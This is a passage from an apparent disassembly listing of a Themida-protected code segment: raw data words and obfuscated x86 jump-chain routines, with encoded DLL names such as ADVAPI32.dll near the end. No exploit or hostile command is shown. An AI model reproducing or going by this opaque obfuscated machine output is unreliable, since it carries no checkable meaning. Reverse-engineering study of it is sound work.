8B5DEF89h, 8956240Ch ; DATA XREF: Themida_:00550948o dd 4C681E6h, 0E9000000h, 0FFFEC328h, 0BB045Ch, 6C3E9F0h dd 8B5A0000h, 0C481243Ch, 4, 4BB53h, 0DF010000h, 0FEF477E9h dd 240C8BFFh, 0FEE346E9h, 5DEE01FFh, 0FFED7AE9h, 2434FFFFh dd 0FFC43CE9h, 240489FFh, 0FFE0D2E9h, 4BFFFh, 0C3810000h dd 627C012Dh, 751EB81h, 0FB01780Bh, 79EF6852h, 6DE90000h dd 89FFFF03h, 0F74D5EF5h, 0D1A9E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D4A: ; CODE XREF: Themida_:0055EF14j jmp loc_5509AF ; --------------------------------------------------------------------------- db 28h dd 89E958E6h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564D57: ; CODE XREF: Themida_:0055C3C5j add esi, 17A578C7h shl esi, 7 jmp loc_557DCB ; --------------------------------------------------------------------------- loc_564D65: ; CODE XREF: Themida_:00557B20j and ecx, ebx jmp loc_55A896 ; --------------------------------------------------------------------------- dd 5FFA295Bh, 0E9245789h, 0FFFFEB63h, 8B242C87h, 0EBE92424h dd 58FFFF77h, 535F5457h, 0FA73E957h, 0D0F7FFFFh, 0FEED2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_564D95: ; CODE XREF: Themida_:005522D4j mov esi, 75991C12h push edx jmp loc_553BC3 ; --------------------------------------------------------------------------- dd 0FE91B753h, 0E9CFFECFh, 0FFFF4C5Bh, 0FE95366h db 45h, 2 dup(0FFh) byte_564DB3 db 0ADh ; DATA XREF: Themida_:005506D8o dd 0FFB096E9h, 241C33FFh, 0C89665Ch, 0B60F6624h, 9C5166C8h dd 0FEBBE2E9h, 368E68FFh, 1C890000h, 80E7B324h, 0EBC0CFEBh dd 0D957E905h, 0D2BDFFFEh, 81757379h, 672AB6E5h, 38E94D5Bh dd 66FFFFB2h, 3F0FE950h, 0DEBFFFFFh, 0E90B7664h, 0FFFEFE64h ; --------------------------------------------------------------------------- loc_564E04: ; CODE XREF: Themida_:00564F35j push 4283h jmp loc_55C081 ; --------------------------------------------------------------------------- loc_564E0E: ; CODE XREF: Themida_:00565191j mov ecx, 2E2E92F5h jmp loc_55B565 ; --------------------------------------------------------------------------- dd 295BD801h, 78BF57D8h, 5322F342h, 0C02BE956h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564E2A: ; CODE XREF: Themida_:00558013j push edx xor dword ptr [esp], 443B308Bh pop ebp jmp loc_55EF6B ; --------------------------------------------------------------------------- loc_564E38: ; CODE XREF: Themida_:0055192Bj pop ecx sub esi, edi pop edi xor esi, edx jmp loc_559A0E ; --------------------------------------------------------------------------- db 8Fh dd 0BD552404h, 4, 4246C01h, 81242C8Bh, 4C4h, 0C465E900h dd 2C8BFFFFh, 5E1E924h db 2 dup(0FFh) word_564E66 dw 0EC83h ; DATA XREF: Themida_:00550708o dd 24148904h, 4EF968h, 93DAE900h, 0D9F7FFFFh, 0B8B85049h dd 319249D5h, 24048BC1h, 104C483h, 240C8BCBh, 0E904C483h dd 0FFFF902Ah, 815FFA01h, 4ECh, 0CD82E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564EA2: ; CODE XREF: Themida_:00557DA5j push edx jmp loc_557972 ; --------------------------------------------------------------------------- dd 80D3EB80h, 0C328A9EBh, 0E9A9C380h, 0FFFEEC7Bh, 872DD8F7h dd 12F184Dh, 0BD5558C1h, 98573EAh, 0FF5493E9h, 2474FFFFh dd 0CD1DE904h, 0BD55FFFFh, 7F1618E9h, 8107EDC1h, 0A50C04F5h dd 5DEE0106h, 24343358h, 33243431h, 248B2434h, 0EBBBE924h dd 21BAFFFFh, 5640D837h, 0FF99F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F05: ; CODE XREF: Themida_:005626DBj push edx mov edx, 683E3559h mov ebp, edx pop edx not ebp inc ebp push edx mov edx, 624A1BEFh xor edx, 303749C3h jmp loc_551862 ; --------------------------------------------------------------------------- dw 5A5Bh dd 0FF56D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F29: ; CODE XREF: Themida_:00554B37j shr ebp, 2 push ecx mov ecx, 70240168h or ebp, ecx pop ecx jmp loc_564E04 ; --------------------------------------------------------------------------- loc_564F3A: ; CODE XREF: Themida_:00552946j mov eax, ebx pop ebx pop esi and eax, 47994E6Dh jmp loc_555144 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 2C8BEA01h, 4C48124h, 81000000h, 4C2h dd 24148700h, 0FF2738E9h db 0FFh byte_564F69 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550744o dd 83240C8Bh, 50E904C4h, 0B9FFFFC1h, 40CC0FFCh, 0FFC5E9E9h dd 0BA525EFFh, 4, 0FFF2D3E9h, 4C481FFh, 0C0000000h, 0EC8003E4h dd 0F6D4F601h, 0D2F480DCh, 0FF93E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_564FA5: ; CODE XREF: Themida_:00563E1Dj push esi mov esi, esp add esi, 4 push ebp jmp loc_55F15C ; --------------------------------------------------------------------------- dd 5CBF575Dh, 0E911555Ah, 0FFFF7D84h, 4BEh, 2D34E900h dd 3C8BFFFFh, 4C48324h, 8B24048Fh, 4E92424h, 51FFFF70h dd 5EEABB53h, 0DBF7029Dh, 472DEB81h, 564B048Fh, 0CB5990BEh dd 5EF33184h, 18007AB9h, 8BD9297Ch, 7E9241Ch, 0F7FFFFA2h dd 0FE2FE9DDh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56500A: ; CODE XREF: Themida_:005619EDj pop ecx jmp loc_563AE1 ; --------------------------------------------------------------------------- loc_565010: ; CODE XREF: Themida_:00558676j mov [esp], ebx mov ebx, 4 add ebp, ebx push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_55A16C ; --------------------------------------------------------------------------- dw 0EA81h dd 2BD5CF8Dh, 15AD589h, 8B04246Ch, 0C483242Ch, 24048F04h dd 0DEB68h, 24148900h, 4EC81h, 1C890000h, 24C26824h, 51E95230h dd 8BFFFF81h, 65E9240Ch db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56505F: ; CODE XREF: Themida_:0055F58Aj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp push esi push 2E250560h push dword ptr [esp] pop esi add esp, 4 xor esi, 2E250564h mov ebp, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, ebp mov ebp, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 jmp loc_55C3CA ; --------------------------------------------------------------------------- dw 0F101h dd 4E9815Eh, 33000000h, 0C31240Ch, 240C3324h, 242C895Ch dd 42474FFh, 83242C8Bh, 48F04C4h, 24248B24h, 24040966h dd 0B8C5E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5650EA: ; CODE XREF: Themida_:00552341j add edi, ecx jmp loc_561AE1 ; --------------------------------------------------------------------------- db 59h, 88h, 0E5h dd 8124048Bh, 4C4h, 0EBDAE900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565102: ; CODE XREF: Themida_:0055F022j mov [esp], edi push ecx mov ecx, 199B09CDh jmp loc_565CDE ; --------------------------------------------------------------------------- loc_565110: ; CODE XREF: Themida_:005563F2j not eax xchg eax, edi push edi sub dword ptr [esp], 0FFFFFFFFh push dword ptr [esp] pop edi add esp, 4 push eax push ecx jmp loc_5586CA ; --------------------------------------------------------------------------- dw 15Dh dd 0C790E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56512E: ; CODE XREF: Themida_:0055B83Aj push ebx mov bl, cl mov [edi+eax*4+1], bl pop ebx mov ecx, [esp] push esi push esp jmp loc_559D43 ; --------------------------------------------------------------------------- dd 2E9F801h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565147: ; CODE XREF: Themida_:005633C1j pop dword ptr [esp] mov esp, [esp] and eax, edx pop edx or eax, eax jz loc_5547EB push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push 6978h mov [esp], esi sub esp, 4 mov [esp], esp push eax mov eax, 9BA523Bh sub eax, 8BC2B59h sub eax, 0FE26DEh jmp loc_5529F4 ; --------------------------------------------------------------------------- word_565182 dw 52ACh ; DATA XREF: Themida_:00550780o dd 0FFADC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_565189: ; CODE XREF: Themida_:00564695j mov [esp], edx mov edx, 1AA56652h jmp loc_564E0E ; --------------------------------------------------------------------------- dw 895Ch dd 0C8B02404h, 0C70009B7h, 582434FFh, 2C04C483h, 0A62C21h dd 4EC81F8h, 0E9000000h, 0FFFFE034h, 1624E94Bh, 515AFFFFh dd 2B9h, 59CF0100h, 0E9243C33h, 0FFFFADAFh, 0BE565954h dd 40A27DB9h, 8103EEC1h, 144FB3EEh, 48E98108h, 150AB7Bh dd 48C181F1h, 0E950AB7Bh, 0FFFF8E46h ; --------------------------------------------------------------------------- loc_5651F4: ; CODE XREF: Themida_:005598C6j push ecx jmp loc_5603FC ; --------------------------------------------------------------------------- loc_5651FA: ; CODE XREF: Themida_:005642CBj push ecx mov ecx, 4 sub ebx, 0F3509F0h add ebx, ecx jmp loc_552EEE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 56F0E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565216: ; CODE XREF: Themida_:00550DFCj xor ebx, esi mov esi, [esp] add esp, 4 jmp loc_561414 ; --------------------------------------------------------------------------- dw 5758h dd 54E9E789h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56522F: ; CODE XREF: Themida_:00564218j mov [esp], ecx push ebx jmp loc_551DAA ; --------------------------------------------------------------------------- dd 0B7E9D701h, 51FFFF89h, 0FF80CCE9h, 0D1DEF7FFh, 0BBC681E6h dd 29E2886Dh, 2434FFF3h, 0FFE5E95Eh, 0E2DFFFFh, 570480Eh dd 0CFC1865Dh, 48BC201h, 4C48324h, 0BE5AD189h, 7F5D5B4Eh dd 0FF2F34E9h db 0FFh ; --------------------------------------------------------------------------- loc_565279: ; CODE XREF: Themida_:005532BAj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push 9B86EB3h jmp loc_564633 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B9240C89h, 79FA2E9Fh, 82CE981h, 0CB011F1Bh, 592434FFh dd 81E18951h, 4C1h, 4C18100h, 87000000h, 8B5C240Ch, 17E9243Ch dd 0FFFFFF8Fh, 58042474h, 5C24048Fh, 5EE95351h, 89FFFECAh dd 2CB82404h, 25788B42h, 5936756Dh, 34E4F0Dh, 24E95206h dd 5AFFFF0Dh, 2C94C381h, 0FB0133C4h, 2C94EB81h, 335F33C4h dd 1C31241Ch, 241C3324h, 8F9BE95Ch, 0E189FFFFh, 4C181h dd 0C1830000h, 240C8704h, 0FED9FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_565319: ; CODE XREF: Themida_:005521CDj not edi xchg edi, [esp] pop edx dec edx push edi mov edi, 4C667DBDh neg edi jmp loc_564600 ; --------------------------------------------------------------------------- db 5, 2, 0 dd 4330000h, 24043124h, 8B240433h, 10E92424h, 1FFFFCEh dd 0E9042454h, 0FFFF9F14h, 0D0F7D8F7h, 8B0E7B2Dh, 7CA72D1Ah dd 0E73551C1h, 8928FE40h, 0F33158C6h, 8124348Bh, 4C4h dd 3EEB8100h, 81588BC0h, 5D511AEFh, 55DF017Fh, 0FEE265E9h dd 0E9BAB2FFh, 0FFFEFC47h ; --------------------------------------------------------------------------- loc_565388: ; CODE XREF: Themida_:00551524j pop edi push edx mov edx, 1F17754Bh add ebp, edx pop edx inc ebp add ebp, 0AE274775h mov edx, ebp pop ebp add eax, 5ADD04D0h add eax, edx sub eax, 5ADD04D0h jmp loc_5544DB ; --------------------------------------------------------------------------- db 2Ch, 0BBh, 0E9h dd 0FFFEED61h, 5E08950h, 4, 0FEC7D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5653C1: ; CODE XREF: Themida_:005509E6j mov ebp, 0A0600BCh jmp loc_55FDF8 ; --------------------------------------------------------------------------- loc_5653CB: ; CODE XREF: Themida_:00553F8Dj pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5557B7 ; --------------------------------------------------------------------------- db 81h dd 265481F2h, 0B5C9E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653EA: ; CODE XREF: Themida_:005543DDj mov ebx, 3522E8Bh add edx, ebx jmp loc_558F28 ; --------------------------------------------------------------------------- dw 29BBh dd 0E97BD576h, 0FFFF9274h ; --------------------------------------------------------------------------- loc_565400: ; CODE XREF: Themida_:005573CEj xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_5614FE ; --------------------------------------------------------------------------- loc_56540C: ; CODE XREF: Themida_:0055D730j inc esi jmp loc_55B558 ; --------------------------------------------------------------------------- word_565412 dw 8B66h ; DATA XREF: Themida_:005507F8o dd 89572404h, 4EC83E7h, 0E9241C89h, 0FFFF05E0h, 0C763E1BFh dd 0E9F8015Fh, 0FFFEC4C3h ; --------------------------------------------------------------------------- loc_565430: ; CODE XREF: Themida_:0055B464j jmp loc_5509AF ; --------------------------------------------------------------------------- db 50h, 68h, 71h dd 0E9222B4Fh, 0FFFFD94Ah, 3304EB83h, 62E9241Ch, 89FFFEFBh dd 0B2BBE9D8h, 0C581FFFFh, 0D2E2E7E1h, 815DEE09h, 0DB1E98CEh dd 0FEBD5529h, 313FFF7Bh, 77095DEEh, 24348B1Ch, 81E68956h dd 4C6h, 0DAEFE900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56547E: ; CODE XREF: Themida_:0055C554j pop edi pop edx jmp loc_564950 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 57241C89h, 137D43BFh, 41F78153h, 8953137Dh, 0DA015FFBh dd 0E92434FFh, 0FFFF6036h, 241C8B54h, 0E904C483h, 0FFFF9960h dd 17DEBD55h, 0E98956A6h, 0C6BD555Dh, 11D5836h, 0A2E95DE9h dd 81FFFEBAh, 4ECh, 243C8900h, 0A9507EBFh, 1D282D67h, 0F80177D1h dd 0D11D2805h, 1689E977h, 0EC83FFFFh, 24248904h, 4240483h dd 0E9243C8Bh, 0FFFF0A6Bh, 0FFC0B60Fh, 89528734h, 63F1E9E2h dd 2C89FFFFh, 0F8D4E924h db 2 dup(0FFh) word_56550E dw 77FFh ; DATA XREF: Themida_:005507FCo dd 3526681Ch, 2C890000h, 8A7BD24h, 0B8504CE7h, 4E962254h dd 8244429h, 35BB5358h, 0E972C06Ch, 0FFFFDB46h, 0E950E289h dd 0FFFF965Dh dword_56553C dd 2E302DADh, 5055EEBh, 0E938DD24h, 0FFFF478Ah ; DATA XREF: Themida_:005508FCo ; --------------------------------------------------------------------------- loc_56554C: ; CODE XREF: Themida_:005630ADj pop eax push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5522D9 ; --------------------------------------------------------------------------- dd 0E959CF89h, 0FFFFD838h, 8B2434FFh, 0C483241Ch, 4C48104h dd 8F000000h, 0F75C2404h, 755768F9h, 14890000h, 0E99C5024h dd 0FFFEB423h, 50D38853h, 0E188DC88h, 0F6E95B58h db 11h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56559B: ; CODE XREF: Themida_:0055E3A3j sub esp, 4 mov [esp], edi mov edi, 5D2B5C30h jmp loc_5553CF ; --------------------------------------------------------------------------- dw 0BD55h dd 2, 875DE801h, 665C2404h, 662CC668h, 66243489h, 22474FFh dd 24348B66h, 2C481h, 8F660000h, 0D4E92404h db 0B3h, 0FEh, 0FFh byte_5655DB db 66h ; DATA XREF: Themida_:0055081Co dd 6824048Bh, 2694h, 89241489h, 4C281E2h, 81000000h, 4EAh dd 24148700h, 477E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5655FE: ; CODE XREF: Themida_:0055D934j add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] loc_565610: ; CODE XREF: Themida_:00558607j push 2110h mov [esp], ecx push esp pop ecx jmp loc_550DE4 ; --------------------------------------------------------------------------- db 57h dd 0BD55E789h, 4757156Ah, 0ED814D45h, 7FB4398Ch, 0F2E9D5F7h dd 81FFFFE8h, 974325EDh, 4EC8360h, 0BA241489h, 0A3B2941h dd 0F705E2C1h, 7E2C1DAh, 77D7E281h, 0EA812248h, 0EAB2447Eh dd 0E95AD509h, 0FFFEC84Bh, 5104C483h, 0FEDAAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56566D: ; CODE XREF: Themida_:0055ED51j jmp loc_5509AF ; --------------------------------------------------------------------------- dw 2BBh dd 68000000h, 7286h, 0BE243489h, 36085635h, 15EF701h, 35EF81DFh dd 5B360856h, 0FF5A68E9h, 2434FFFFh, 8324048Bh, 0BEE904C4h db 0BEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5656A3: ; CODE XREF: Themida_:0055922Bj push 5A13h mov [esp], edx mov edx, esp push 2870h mov [esp], esi jmp loc_55F6D9 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 68000000h, 5A7h, 0BB241C89h, 0D786FD9h, 0DD87EB87h dd 0DD87D3F7h, 26E9EB87h db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5656DF: ; CODE XREF: Themida_:0055B291j add esp, 4 sub esp, 4 mov [esp], eax mov eax, 57166E98h shr eax, 3 xor eax, 0AE2CDD7h push eax jmp loc_5603D8 ; --------------------------------------------------------------------------- loc_565701: ; CODE XREF: Themida_:005591C7j sub esi, 24344A44h add esi, 23523E72h sub esi, ecx sub esi, 23523E72h push eax mov eax, 24344A44h add esi, eax jmp loc_557DE0 ; --------------------------------------------------------------------------- word_565722 dw 8B66h ; DATA XREF: Themida_:005507A8o dd 2FE9240Ch db 0B3h, 2 dup(0FFh) byte_56572B db 66h ; DATA XREF: Themida_:00550710o dd 0E924048Bh, 0FFFEF408h, 895DEE29h, 24348BF3h, 0A478E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565742: ; CODE XREF: Themida_:0055479Ej sub esp, 4 mov [esp], edi mov edi, 77BA4753h xor eax, edi mov edi, [esp] add esp, 4 jmp loc_555725 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0BEh dd 8121FC1Bh, 3828F8C5h, 3EDC166h, 0FF1B07E9h, 0E9C229FFh dd 0FFFFBCB9h, 4C481h, 0F8290000h, 0FF4EF8E9h, 2474FFFFh dd 241C8B04h, 0FF7435E9h, 4C483FFh, 8B243C87h, 2C892424h dd 4EC8124h, 89000000h, 4812424h, 424h, 242C8B00h, 4C481h dd 0BE560000h, 13173593h, 8904EC83h, 63B82404h, 837D4A25h dd 354801C0h, 72CB48E6h, 8158C609h, 977D93EEh, 5EF5011Fh dd 8704C583h, 248B242Ch, 9CC88524h, 0FEB1C2E9h, 4C481FFh dd 83000000h, 0C8704C1h, 24248B24h, 0FEB1AEE9h, 240431FFh dd 5C240433h, 2BF57h, 0BF570000h, 682D5398h, 0D3F7DF87h dd 0F781DF87h, 0AB8C83B6h, 0F94DB005h, 2DF82972h, 72F94DB0h dd 0FA5EE95Fh, 78E9FFFEh, 81FFFEB1h, 4C4h, 0F7515900h dd 31592414h, 31F131CEh, 0E9F231CEh, 0FFFEF66Eh dword_565850 dd 0FF2434FFh, 68582434h, 64EAh, 0FF65B3E9h, 5EF301FFh ; DATA XREF: Themida_:00550908o dd 2474FF53h, 0D3FEE904h, 8159FFFEh, 1963E2C9h, 0FFC1832Eh dd 4BADE981h, 0CE89F4BBh, 50E94659h, 51FFFFD6h, 0FFA679E9h dd 240C89FFh, 0FF1D22E9h, 6F095DFFh, 242C8B1Ch, 4EC81h dd 4890000h, 5E08924h, 4, 0E9E68956h, 0FFFEBCFAh, 0DE89C389h dd 83D8E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5658BE: ; CODE XREF: Themida_:00550B5Aj xor [esp], ecx xor ecx, [esp] pop esp jmp loc_565A57 ; --------------------------------------------------------------------------- loc_5658CA: ; CODE XREF: Themida_:005526D3j mov [esp], ecx jmp loc_557D8D ; --------------------------------------------------------------------------- dw 3487h dd 9441E924h, 0C181FFFFh, 509EAD54h, 0C8BC801h, 4C48124h dd 57000000h, 3EA26855h, 4D5D1805h, 9A0F581h, 14E97E1Bh dd 53FFFF76h, 0FF65A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_565905: ; CODE XREF: Themida_:005533AEj sub esi, 0A0C035Bh xor esi, 259E7499h shr esi, 3 shr esi, 1 jmp loc_56216E ; --------------------------------------------------------------------------- loc_56591B: ; CODE XREF: Themida_:00555C41j sub ebx, 67EB1305h push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_554CE0 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 0E9000000h, 0FFFF889Fh ; --------------------------------------------------------------------------- loc_565944: ; CODE XREF: Themida_:00554BFEj mov [esp], ax mov al, 30h sub bl, 79h sub bl, al sub esp, 4 mov [esp], edx push eax mov ah, 0C8h jmp loc_55723E ; --------------------------------------------------------------------------- db 53h, 0B7h, 0D1h dd 0FFA002E9h db 0FFh ; --------------------------------------------------------------------------- loc_565965: ; CODE XREF: Themida_:005558D0j add ecx, 5F567A40h sub ecx, 542310A3h sub ecx, edx add ecx, 542310A3h sub ecx, 5F567A40h pop edx sub ecx, 18936CB3h add ecx, edx add ecx, 18936CB3h add ecx, 63660083h sub ecx, 72906DFh jmp loc_563345 ; --------------------------------------------------------------------------- db 80h dd 952CB6C2h, 9504D028h, 0DE83E95Ah db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5659AE: ; CODE XREF: Themida_:00561D89j push 4C4Dh mov [esp], esi push 6849614Eh push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebx jmp loc_5643D4 ; --------------------------------------------------------------------------- loc_5659CD: ; CODE XREF: Themida_:00562834j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp sub esp, 4 jmp loc_554AD1 ; --------------------------------------------------------------------------- loc_5659DF: ; CODE XREF: Themida_:00554EB9j add eax, edi sub eax, 10A04EB0h sub eax, 19771064h pop edi add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [esp] pop ebx push 76EAh mov [esp], eax jmp loc_551B70 ; --------------------------------------------------------------------------- loc_565A08: ; CODE XREF: Themida_:0055E2D8j mov ebx, 43077B39h jmp loc_552CA5 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 0E9000000h, 0FFFFC24Fh ; --------------------------------------------------------------------------- loc_565A20: ; CODE XREF: Themida_:00558434j push dword ptr [esp] pop ecx add esp, 4 xchg esi, [esp] jmp loc_5528B6 ; --------------------------------------------------------------------------- db 81h dd 9A6BF1C3h, 81C30146h, 9A6BF1EBh, 24048B46h, 4C481h dd 0AE90000h, 58FFFEE7h, 8704ED83h, 75E9242Ch db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A57: ; CODE XREF: Themida_:005658C5j or edx, eax jmp loc_5514BF ; --------------------------------------------------------------------------- loc_565A5E: ; CODE XREF: Themida_:00555D07j sub edx, ebx sub edx, 21A96098h pop ebx jmp loc_554CF7 ; --------------------------------------------------------------------------- loc_565A6C: ; CODE XREF: Themida_:0055AB34j push 171Eh mov [esp], ebp push 4486h mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp sub ecx, 4 jmp loc_55B4D2 ; --------------------------------------------------------------------------- db 0F6h dd 172368D1h, 0CAE90000h, 81FFFF34h, 4C4h, 24048F00h, 0FF0542E9h dd 243C8BFFh, 8104C483h, 4ECh, 24048900h, 42474FFh, 8324048Bh dd 0B2E904C4h, 5CFFFFC3h, 81241C89h, 4ECh, 24148900h, 3D210568h dd 81525A66h, 6C422434h, 815B172Dh, 2D6C42F3h, 24148B17h dd 4C481h, 45E90000h db 0E5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565AF7: ; CODE XREF: Themida_:0055360Ej or ebx, 2FF974CDh jmp loc_55EB47 ; --------------------------------------------------------------------------- dw 6857h dd 6D7E3067h, 8EFC15Fh, 0AFB2E957h, 0E953FFFFh, 0FFFF08BDh dword_565B18 dd 715C68h, 240C8900h, 73DB68h, 241C8900h, 0FEBBh, 4EC8100h ; DATA XREF: Themida_:005508A4o dd 89000000h, 0FF59241Ch, 1C8B2434h, 4C48324h, 34FF5450h dd 0C4815824h, 4, 0FF0127E9h, 294235FFh, 0E8836AEFh, 0FDA1E901h dd 5351FFFFh, 0C3815B54h, 4, 4EB81h, 1C870000h, 4895C24h dd 0EBCFE924h, 515FFFFFh, 0FEC2ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_565B81: ; CODE XREF: Themida_:00562E93j mov ebx, 52706A10h push edx mov edx, ebx jmp loc_55C95D ; --------------------------------------------------------------------------- dw 0C801h dd 0E9240C8Bh, 0FFFFDC4Bh, 738CE951h db 2 dup(0FFh) word_565B9E dw 34FFh ; DATA XREF: Themida_:005508B0o dd 2434FF24h, 0C215E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565BAA: ; CODE XREF: Themida_:0055BF57j mov ecx, edx mov ebp, ecx pop ecx mov edx, [esp] add esp, 4 and eax, ebp push dword ptr [esp] pop ebp jmp loc_55503E ; --------------------------------------------------------------------------- dd 29A1E681h, 0C6E966DDh, 50FFFF8Eh, 0FECDE0E9h, 4BEFFh dd 0F3290000h, 241C875Eh, 241C895Ch, 0FEF187E9h, 240483FFh dd 24148B04h, 0FF9751E9h db 0FFh ; --------------------------------------------------------------------------- loc_565BF1: ; CODE XREF: Themida_:00559F21j xor eax, esi xor esi, eax not eax push edi jmp loc_562FA1 ; --------------------------------------------------------------------------- loc_565BFD: ; CODE XREF: Themida_:0055D9CFj push esi jmp loc_561454 ; --------------------------------------------------------------------------- db 55h dd 4EC81h, 0C890000h, 15B66824h, 0C1595181h, 0E98103E9h dd 0A3022B4h, 0FF3AE9E9h, 4118BAFFh, 7B6869A4h, 0E9000079h dd 0FFFF347Ah, 80E2EB80h, 34E992C3h, 1FFFF44h, 81042444h dd 0B804246Ch, 0E955166Fh, 0FFFECA52h, 5E08950h, 4, 405h dd 24048700h, 0FFC92FE9h, 58C589FFh, 52DFDBBBh, 5DEB0186h dd 0FEAE03E9h db 0FFh ; --------------------------------------------------------------------------- loc_565C71: ; CODE XREF: Themida_:00558833j mov edx, 7E1054E8h push edi push esi push 3F1248B0h pop esi shr esi, 2 inc esi sub esi, 0C41B6D9Ch mov edi, esi pop esi jmp loc_55191C ; --------------------------------------------------------------------------- dd 6F8EE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C96: ; CODE XREF: Themida_:005580D5j pop edx add esp, 4 push ebx mov ebx, 0DBE0866h jmp loc_55B194 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 33241C31h, 248B241Ch, 241C3324h, 0FF2B04E9h, 242489FFh dd 4240481h, 8B000000h, 0FA68242Ch, 0E900002Ah, 0FFFF6E4Ch ; --------------------------------------------------------------------------- loc_565CD0: ; CODE XREF: Themida_:00561923j pop dword ptr [esp] pop esp push dword ptr [esp] pop eax push edi jmp loc_55D407 ; --------------------------------------------------------------------------- loc_565CDE: ; CODE XREF: Themida_:0056510Bj push eax mov eax, ecx jmp loc_563A7E ; --------------------------------------------------------------------------- loc_565CE6: ; CODE XREF: Themida_:0055FD86j add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_551E16 ; --------------------------------------------------------------------------- dw 248Bh dd 2564E924h, 0ED81FFFFh, 0E272ABD0h, 525DEE01h, 0FF9ED9E9h dd 4FF66FFh, 98E99C24h db 0ACh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565D17: ; CODE XREF: Themida_:0055A1ADj pop ebx sub edx, 41300D7Eh sub ebp, edx pop edx push 6943h jmp loc_55B0DC ; --------------------------------------------------------------------------- db 89h dd 1AB9240Ch, 8104941Dh, 5E5F7DC9h, 0F181411Ch, 7CC87293h dd 159CA01h, 13EA81CAh, 8B60162Dh, 0C481240Ch, 4, 5C241487h dd 4EC81h, 4890000h, 5FE95424h, 2DFFFFE9h, 2D5B4CD2h, 2404335Bh dd 0FFD273E9h, 8E8FFh, 85D50000h, 17A2E588h, 0D781F58Dh dd 7D36FAC3h, 0D1BF0F5Bh, 66F7C381h, 51600000h, 3B66CE81h dd 0E85E251Ch, 0Eh, 65F96500h, 0E8EB1968h, 915C0A3Eh, 0BB660266h dd 615B5BF1h, 1981B8h, 10E800h, 0F3A60000h, 8DB98452h dd 4E6EE657h, 0C2BC00FAh, 0BFBF9DFBh, 5922EF69h, 0D38B33FFh dd 0CE85Eh, 907A0000h, 1527E025h, 5638E797h, 830FE331h dd 3, 5FAEC980h, 3ED9EE81h, 8B66231Dh, 0B8C681F9h, 66324B9Ch dd 5460D281h, 0DBBAF681h, 7E96B4Dh, 74000000h, 0D68543B3h dd 0B256F58Bh, 66038F0Ch, 8197CDBAh, 0C83614EBh, 0EE81Dh dd 40F00000h, 3DA402FAh, 5184AA75h, 17834D35h, 3840Fh dd 0B70F0000h, 0C3815ACEh, 1DC83610h, 0AEA6F181h, 0E88301A9h dd 79850F01h, 0E8FFFFFFh, 10h, 0A2EC6545h, 0F427C9D8h dd 0C87F4F41h, 59DD9A16h, 5536EB5Ah, 33524553h, 6C642E32h dd 4441006Ch, 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h dd 6C6C642Eh, 707D700h, 18000200h, 8001000h, 